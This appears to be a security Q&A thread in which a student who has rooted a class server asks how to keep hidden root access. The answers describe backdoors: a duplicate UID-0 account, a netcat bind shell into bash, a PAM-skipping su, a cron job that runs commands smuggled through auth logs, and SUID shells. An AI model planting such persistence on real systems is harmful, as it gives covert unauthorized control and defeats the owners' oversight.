8

For my software security class we are required to hack into a server created by our professor. I have hacked into the server, and have the password for the root user.

Now that I am root, I would like to ensure I have persistent access to the server. The hypothetical owner of the server will easily find out I took over quite rapidly.

Is there a way to ensure persistent access to the server with root privileges under a new 'invisible' user I can create. Any other methods to retain consistent and undetected access to the server would be appreciated.

3

It rather depends what you mean by "invisible".

It's not really possible to change the behaviour of the system and leave no detectable trace. All you can do is make it harder to find those traces. At the extreme end of the scale you could compile a kernel module capable of hiding itself which has an interface back into userspace - although this is far from trivial. A the other end of the scale you could add an alias for an existing user to /etc/passwd and /etc/shadow, e.g.

     root:x:0:0:root:/root:/bin/bash
     toor:x:0:0:root:/root:/bin/bash

     root:$1$WXYZabc4:17158:0:99999:7:::
     toor:$1$ABCxyz12:17158:0:99999:7:::

(your target will be using a more recent and verbose crypt implementation). This is visible in the affected files.

You could plumb a shell directly into the network with netcat or [x]inetd

 nc -l -p 8282 | bash

...although this is rather obvious and will show up in netstat and ps.

You could add a shell to an existing system user and set a password, then to leverage privileged access you'd need a setuid program. You no doubt already know that setting the setuid bit on a script isn't going to work - so maybe a modified version of su which skips pam for your magic username. Don't just drop it in /bin - overwrite an existing setuid program which you think is unlikely to be used (e.g. ping6). It'll still show up in tripwire or ossec.

One fun one would be to identify somewhere you can write data to without authenticating and set up a cron job as root to extract strings and run them as root (the following is deliberately simplified):

 #!/bin/bash

 tail -100 /var/log/auth.log | \
 awk '/Failed password for gangsta/ {
       split($0, out, "gangsta|from");
       print out[1] "\n";
      }' >/tmp/myscript
 . /tmp/myscript
 rm -f /tmp/myscript

...again this may get picked up by a host IDS, and beware that cron mails users with the output of their jobs unless you override this in the cron file.

2

Is there a way to ensure persistent access to the server with root privileges under a new 'invisible' user I can create

There are many, but an easier way would be to, say, backdoor the SSH binary (not undetectable; rkhunter, tripwire etc. will all show something's amiss). Or any of its libraries, for example PAM. Then you can always reenter as root.

If the system is properly hardened, though, you'll need a 'real' rootkit, up to Blue Pill levels.

  • And this is why SOP for any infected machine is to nuke from orbit and reimage. You can never be sure your tools on an infected machine aren't lying to you. – Stephen Touset Mar 12 '18 at 22:40
  • If the system is properly hardened, then even Blue Pill won't work. A simple TPM for remote attestation prevents that. – forest Mar 13 '18 at 2:26
2

It much depends on your victim. A simple and potentially efficient idea: If you have a non-root access (and you assume you won't lose it), you might try to copy some executable (e.g., /bin/bash) and set SUID bit. Of course, one might look for root-owned SUID executables, but this should not make a suspicion at first sight.

I guess it is your case, as you use tag dirty-cow. ☺

  • This is what I usually do, but with something less likely to be noticed, like ed or sed. First time I used ed for that, I went about editing a cron job and my poor skills with the text editor lead me to crashing the server when the hour struck. I have since then learned how to use ed! – forest Mar 13 '18 at 2:29

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.